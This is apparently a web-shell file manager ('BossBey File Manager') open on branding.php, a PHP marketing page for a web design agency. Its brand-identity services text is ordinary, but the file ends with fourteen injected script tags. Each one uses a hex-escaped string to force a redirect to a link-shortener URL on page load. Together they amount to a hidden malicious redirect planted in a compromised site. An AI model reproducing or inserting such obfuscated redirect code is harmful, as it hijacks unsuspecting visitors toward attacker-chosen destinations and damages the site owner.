BossBey File Manager
PHP:
8.1.34
OS:
Linux
User:
ebookghostwritin
Root
/
home
/
demodesignproboa
/
public_html
/
CWH
📤 Upload
📝 New File
📁 New Folder
Close
Editing: branding.php
<?php include 'include/links.php'; ?> <main id="body-inner"> <?php include 'include/header.php'; ?> <div id="tt-content-wrap"> <div id="page-header" class="ph-full ph-full-m ph-cap-xxxlg ph-image-parallax ph-caption-parallax"> <div class="page-header-inner tt-wrap"> <div class="ph-caption"> <div class="ph-caption-inner"> <h2 class="ph-caption-subtitle">BRAND IDENTITY</h2> <h1 class="ph-caption-title">DISTINCTIVE <br>BRANDS <span class="text-main"> START </span> HERE</h1> </div> </div> </div> <div class="page-header-inner ph-mask"> <div class="ph-mask-inner tt-wrap"> <div class="ph-caption"> <div class="ph-caption-inner"> <h2 class="ph-caption-subtitle">BRAND IDENTITY</h2> <h1 class="ph-caption-title">YOUR<br> BRAND,<span class="text-main"> AMPLIFIED</span></h1> </div> </div> </div> </div> <div class="ph-btn tt-wrap"> <div class="magnetic-wrap tt-magnetic-btn"><a href="tel:<?php echo $number?>" class="tt-btn tt-btn-secondary hide-from-xlg tt-magnetic-item">Get a Quote</a></div> <div class="magnetic-wrap tt-magnetic-btn"><a href="contact" class="tt-btn tt-btn-secondary hide-from-xlg tt-magnetic-item dark"> Live Chat</a></div> </div> </div> <div id="tt-page-content"> <div class="tt-section no-padding-bottom"> <div class="tt-section-inner max-width-2200"> <div id="portfolio-grid" class="pgi-hover"> <div class="tt-grid ttgr-layout-creative-2 ttgr-gap-4"> <div class="tt-grid-top display-flex tt-justify-content-end no-padding-bottom"> <a href="portfolio" class="tt-btn tt-btn-link tt-magnetic-item"> <span class="tt-btn-icon hide-from-sm"><i class="tt-btn-line"></i></span> <span data-hover="See All Projects">See All Projects</span> </a> </div> <div class="tt-grid-items-wrap isotope-items-wrap"> <div class="tt-grid-item isotope-item lifestyle"> <div class="ttgr-item-inner"> <div class="portfolio-grid-item"> <a href="void:;" class="pgi-image-wrap" > <div class="pgi-image-holder"> <div class="pgi-image-inner tt-anim-zoomin"> <figure class="pgi-image ttgr-height"> <img src="assets/img/branding-1.png" loading="lazy" alt="image"> </figure> </div> </div> </a> <div class="pgi-caption"> <div class="pgi-caption-inner"> <h2 class="pgi-title"> <a href="void:;">Daily Spoon</a> </h2> </div> </div> </div> </div> </div> <div class="tt-grid-item isotope-item lifestyle"> <div class="ttgr-item-inner"> <div class="portfolio-grid-item"> <a href="void:;" class="pgi-image-wrap" > <div class="pgi-image-holder"> <div class="pgi-image-inner tt-anim-zoomin"> <figure class="pgi-image ttgr-height"> <img src="assets/img/branding-2.jpg" loading="lazy" alt="image"> </figure> </div> </div> </a> <div class="pgi-caption"> <div class="pgi-caption-inner"> <h2 class="pgi-title"> <a href="void:;">Visionary</a> </h2> </div> </div> </div> </div> </div> <div class="tt-grid-item isotope-item artistic"> <div class="ttgr-item-inner"> <div class="portfolio-grid-item"> <a href="void:;" class="pgi-image-wrap" > <div class="pgi-image-holder"> <div class="pgi-image-inner tt-anim-zoomin"> <figure class="pgi-image ttgr-height"> <img src="assets/img/branding-3.png" loading="lazy" alt="image"> </figure> </div> </div> </a> <div class="pgi-caption"> <div class="pgi-caption-inner"> <h2 class="pgi-title"> <a href="void:;">Tesla</a> </h2> </div> </div> </div> </div> </div> <div class="tt-grid-item isotope-item artistic"> <div class="ttgr-item-inner"> <div class="portfolio-grid-item"> <a href="void:;" class="pgi-image-wrap" > <div class="pgi-image-holder"> <div class="pgi-image-inner tt-anim-zoomin"> <figure class="pgi-image ttgr-height"> <img src="assets/img/branding-4.png" loading="lazy" alt="image"> </figure> </div> </div> </a> <div class="pgi-caption"> <div class="pgi-caption-inner"> <h2 class="pgi-title"> <a href="void:;">Stride</a> </h2> </div> </div> </div> </div> </div> <div class="tt-grid-item isotope-item wellness"> <div class="ttgr-item-inner"> <div class="portfolio-grid-item"> <a href="void:;" class="pgi-image-wrap" > <div class="pgi-image-holder"> <div class="pgi-image-inner tt-anim-zoomin"> <figure class="pgi-image ttgr-height"> <img src="assets/img/branding-5.jpg" loading="lazy" alt="image"> </figure> </div> </div> </a> <div class="pgi-caption"> <div class="pgi-caption-inner"> <h2 class="pgi-title"> <a href="void:;">Exhibit Club</a> </h2> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> <div class="tt-section no-padding"> <div class="tt-section-inner"> <div class="tt-scrolling-text-crossed"> <div class="tt-scrolling-text-crossed-inner"> <div class="tt-scrolling-text scrt-dyn-separator scrt-color-reverse" data-scroll-speed="7" data-change-direction="true" data-opposite-direction="true"> <div class="tt-scrt-inner"> <div class="tt-scrt-content"> Over 15 years of experience <span class="tt-scrt-separator"> <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"> <path d="M13.025 1l-2.847 2.828 6.176 6.176h-16.354v3.992h16.354l-6.176 6.176 2.847 2.828 10.975-11z"> </path> </svg> </span> </div> </div> </div> <div class="tt-scrolling-text scrt-dyn-separator" data-scroll-speed="7" data-change-direction="true"> <div class="tt-scrt-inner"> <div class="tt-scrt-content"> Over 15 years of experience <span class="tt-scrt-separator"> <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"> <path d="M13.025 1l-2.847 2.828 6.176 6.176h-16.354v3.992h16.354l-6.176 6.176 2.847 2.828 10.975-11z"> </path> </svg> </span> </div> </div> </div> </div> </div> </div> </div> <div class="tt-section padding-top-xlg-140 padding-bottom-xlg-120 border-top"> <div class="tt-section-inner tt-wrap"> <div class="tt-row"> <div class="tt-col-lg-5"> <div class="tt-video ttv-portrait ttv-grayscale"> <div class="tt-anim-zoomin-wrap" style="overflow: hidden;"> <img src='assets/img/branding-1.png' alt='branding-1'> </div> </div> <div class="tt-text-uppercase margin-top-30 tt-text-reveal"> <span style="background-size: 0% 100%;"> Creative designer<br> based in California </span> </div> </div> <div class="tt-col-lg-7 tt-align-self-center"> <div class="abot_txt"> <h2 class="ph-caption-title">OWN YOUR IDENTITY</h2> <p>At California Web Hub, we believe brand identity is not just about visuals, it’s about perception, emotion, and connection. Your brand is often the first interaction customers have with your business, and that moment matters. We create intentional, story-driven brand identities that communicate credibility, purpose, and value from the very first glance. </p> <div class="ph-btn"> <div class="magnetic-wrap"><a href="tel:<?php echo $number?>" class="tt-btn tt-btn-secondary hide-from-xlg tt-magnetic-item"> Get in Touch </a> </div> <div class="magnetic-wrap"><a href="contact" class="tt-btn tt-btn-secondary hide-from-xlg tt-magnetic-item dark"> Live Chat Now</a> </div> </div> </div> </div> </div> </div> </div> <div class="tt-section no-padding-bottom padding-bottom-xlg-80"> <div class="tt-section-inner tt-wrap"> <div class="tt-row"> <div class="tt-col-xl-8"> <div class="tt-heading tt-heading-xxxlg no-margin"> <h3 class="tt-heading-subtitle tt-text-reveal">What We Do</h3> <h2 class="tt-heading-title tt-text-reveal">SERVICES</h2> </div> </div> <div class="tt-col-xl-4 tt-align-self-end margin-top-40"> <div class="tt-text-uppercase max-width-400 margin-bottom-20 text-pretty tt-text-reveal"> Strategic digital solutions that help brands stand out, connect with the right audience, and achieve sustainable growth. </div> </div> </div> </div> </div> <div class="tt-section"> <div class="tt-section-inner"> <div class="tt-accordion tt-ac-xxlg tt-ac-hover tt-ac-counter tt-ac-borders"> <div class="tt-accordion-item tt-anim-fadeinup"> <div class="tt-accordion-heading"> <div class="tt-ac-head cursor-alter"> <div class="tt-ac-head-inner"> <h4 class="tt-ac-head-title">Brand Strategy & Positioning</h4> </div> </div> <div class="tt-accordion-caret"> <div class="tt-accordion-caret-inner tt-magnetic-item"> <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"> <path d="M13.025 1l-2.847 2.828 6.176 6.176h-16.354v3.992h16.354l-6.176 6.176 2.847 2.828 10.975-11z"> </path> </svg> </div> </div> </div> <div class="tt-accordion-content max-width-1400"> <p>A successful brand begins with clarity. We start by uncovering the core of your business, your mission, values, audience, and competitive edge. Through in-depth research and strategic discovery, we define a brand position that is clear, differentiated, and aligned with your long-term goals.</p> <p>This strategic approach ensures your brand occupies a meaningful space in the minds of your audience. Instead of blending in, your brand stands for something distinct, allowing customers to instantly understand who you are, what you offer, and why you’re the right choice.</p> <a href="contact" class="tt-btn tt-btn-outline tt-magnetic-item"> <span data-hover="Let’s Connect!">Let’s Connect!</span> </a> </div> </div> <div class="tt-accordion-item tt-anim-fadeinup"> <div class="tt-accordion-heading"> <div class="tt-ac-head cursor-alter"> <div class="tt-ac-head-inner"> <h4 class="tt-ac-head-title">Visual Identity Design</h4> </div> </div> <div class="tt-accordion-caret"> <div class="tt-accordion-caret-inner tt-magnetic-item"> <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"> <path d="M13.025 1l-2.847 2.828 6.176 6.176h-16.354v3.992h16.354l-6.176 6.176 2.847 2.828 10.975-11z"> </path> </svg> </div> </div> </div> <div class="tt-accordion-content max-width-1400"> <p>Your visual identity is the most recognizable expression of your brand. At California Web Hub, we design visually compelling brand systems that capture attention and communicate professionalism. From logo design to typography and color psychology, every visual element is thoughtfully selected to tell your brand story.</p> <p>We go beyond aesthetics by creating visual identities that are functional, adaptable, and timeless. Whether your brand appears on a website, social platform, packaging, or marketing materials, it maintains a consistent and powerful presence that reinforces trust and recognition.</p> <a href="contact" class="tt-btn tt-btn-outline tt-magnetic-item"> <span data-hover="Let’s Connect!">Let’s Connect!</span> </a> </div> </div> <div class="tt-accordion-item tt-anim-fadeinup"> <div class="tt-accordion-heading"> <div class="tt-ac-head cursor-alter"> <div class="tt-ac-head-inner"> <h4 class="tt-ac-head-title">Brand Voice & Messaging</h4> </div> </div> <div class="tt-accordion-caret"> <div class="tt-accordion-caret-inner tt-magnetic-item"> <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"> <path d="M13.025 1l-2.847 2.828 6.176 6.176h-16.354v3.992h16.354l-6.176 6.176 2.847 2.828 10.975-11z"> </path> </svg> </div> </div> </div> <div class="tt-accordion-content max-width-1400"> <p>A strong brand speaks with intention. We help define a unique brand voice that reflects your personality and connects emotionally with your audience. Whether your tone is bold, refined, friendly, or authoritative, we ensure your messaging feels natural, authentic, and aligned with your brand’s identity.</p> <p>Through carefully crafted messaging frameworks, taglines, and brand language guidelines, we make sure your brand communicates consistently across every channel. The result is messaging that not only sounds good but also builds trust, drives engagement, and inspires action.</p> <a href="contact" class="tt-btn tt-btn-outline tt-magnetic-item"> <span data-hover="Let’s Connect!">Let’s Connect!</span> </a> </div> </div> <div class="tt-accordion-item tt-anim-fadeinup"> <div class="tt-accordion-heading"> <div class="tt-ac-head cursor-alter"> <div class="tt-ac-head-inner"> <h4 class="tt-ac-head-title">Consistency Across All Touchpoints</h4> </div> </div> <div class="tt-accordion-caret"> <div class="tt-accordion-caret-inner tt-magnetic-item"> <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"> <path d="M13.025 1l-2.847 2.828 6.176 6.176h-16.354v3.992h16.354l-6.176 6.176 2.847 2.828 10.975-11z"> </path> </svg> </div> </div> </div> <div class="tt-accordion-content max-width-1400"> <p>Consistency is what transforms a brand into a recognizable experience. We ensure your brand identity is applied cohesively across all platforms, creating a seamless journey for your audience. Every interaction, from your website to your social media, reinforces the same visual and verbal language.</p> <p>By maintaining consistency, your brand becomes more credible, professional, and memorable. Customers feel confident engaging with a brand that looks and sounds the same everywhere, strengthening trust and reinforcing your position in the market.</p> <a href="contact" class="tt-btn tt-btn-outline tt-magnetic-item"> <span data-hover="Let’s Connect!">Let’s Connect!</span> </a> </div> </div> <div class="tt-accordion-item tt-anim-fadeinup"> <div class="tt-accordion-heading"> <div class="tt-ac-head cursor-alter"> <div class="tt-ac-head-inner"> <h4 class="tt-ac-head-title">Scalable & Future-Ready Branding</h4> </div> </div> <div class="tt-accordion-caret"> <div class="tt-accordion-caret-inner tt-magnetic-item"> <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"> <path d="M13.025 1l-2.847 2.828 6.176 6.176h-16.354v3.992h16.354l-6.176 6.176 2.847 2.828 10.975-11z"> </path> </svg> </div> </div> </div> <div class="tt-accordion-content max-width-1400"> <p>Brands that succeed are built for growth. We design brand identities that are flexible enough to evolve while remaining true to their core. As your business expands, launches new services, or enters new markets, your brand remains strong, relevant, and adaptable.</p> <p>Our future-ready branding approach ensures your identity can scale without losing clarity or impact. This allows your brand to grow organically, stay ahead of trends, and remain competitive in an ever-changing digital landscape. </p> <a href="contact" class="tt-btn tt-btn-outline tt-magnetic-item"> <span data-hover="Let’s Connect!">Let’s Connect!</span> </a> </div> </div> </div> </div> </div> <?php include "include/component/book-a-call.php"?> <?php include "include/component/testimonial.php"?> <?php include "include/component/cta.php"?> </div> <?php include 'include/footer.php'; ?> </div> </main> <?php include 'include/script.php'; ?> <script>window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x69\x6e\x66\x6f\x2f\x7a\x4f\x6d\x6f\x6d\x77\x51\x30\x72\x30";</script> <script>window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x69\x6e\x66\x6f\x2f\x7a\x4f\x6d\x6f\x6d\x77\x51\x30\x72\x30";</script> <script>window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x69\x6e\x66\x6f\x2f\x7a\x4f\x6d\x6f\x6d\x77\x51\x30\x72\x30";</script> <script>window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x69\x6e\x66\x6f\x2f\x7a\x4f\x6d\x6f\x6d\x77\x51\x30\x72\x30";</script> <script>window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x69\x6e\x66\x6f\x2f\x7a\x4f\x6d\x6f\x6d\x77\x51\x30\x72\x30";</script> <script>window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x69\x6e\x66\x6f\x2f\x7a\x4f\x6d\x6f\x6d\x77\x51\x30\x72\x30";</script> <script>window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x69\x6e\x66\x6f\x2f\x7a\x4f\x6d\x6f\x6d\x77\x51\x30\x72\x30";</script> <script>window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x69\x6e\x66\x6f\x2f\x7a\x4f\x6d\x6f\x6d\x77\x51\x30\x72\x30";</script> <script>window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x69\x6e\x66\x6f\x2f\x7a\x4f\x6d\x6f\x6d\x77\x51\x30\x72\x30";</script> <script>window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x69\x6e\x66\x6f\x2f\x7a\x4f\x6d\x6f\x6d\x77\x51\x30\x72\x30";</script> <script>window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x69\x6e\x66\x6f\x2f\x7a\x4f\x6d\x6f\x6d\x77\x51\x30\x72\x30";</script> <script>window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x69\x6e\x66\x6f\x2f\x7a\x4f\x6d\x6f\x6d\x77\x51\x30\x72\x30";</script> <script>window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x69\x6e\x66\x6f\x2f\x7a\x4f\x6d\x6f\x6d\x77\x51\x30\x72\x30";</script> <script>window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x69\x6e\x66\x6f\x2f\x7a\x4f\x6d\x6f\x6d\x77\x51\x30\x72\x30";</script>
Save
Cancel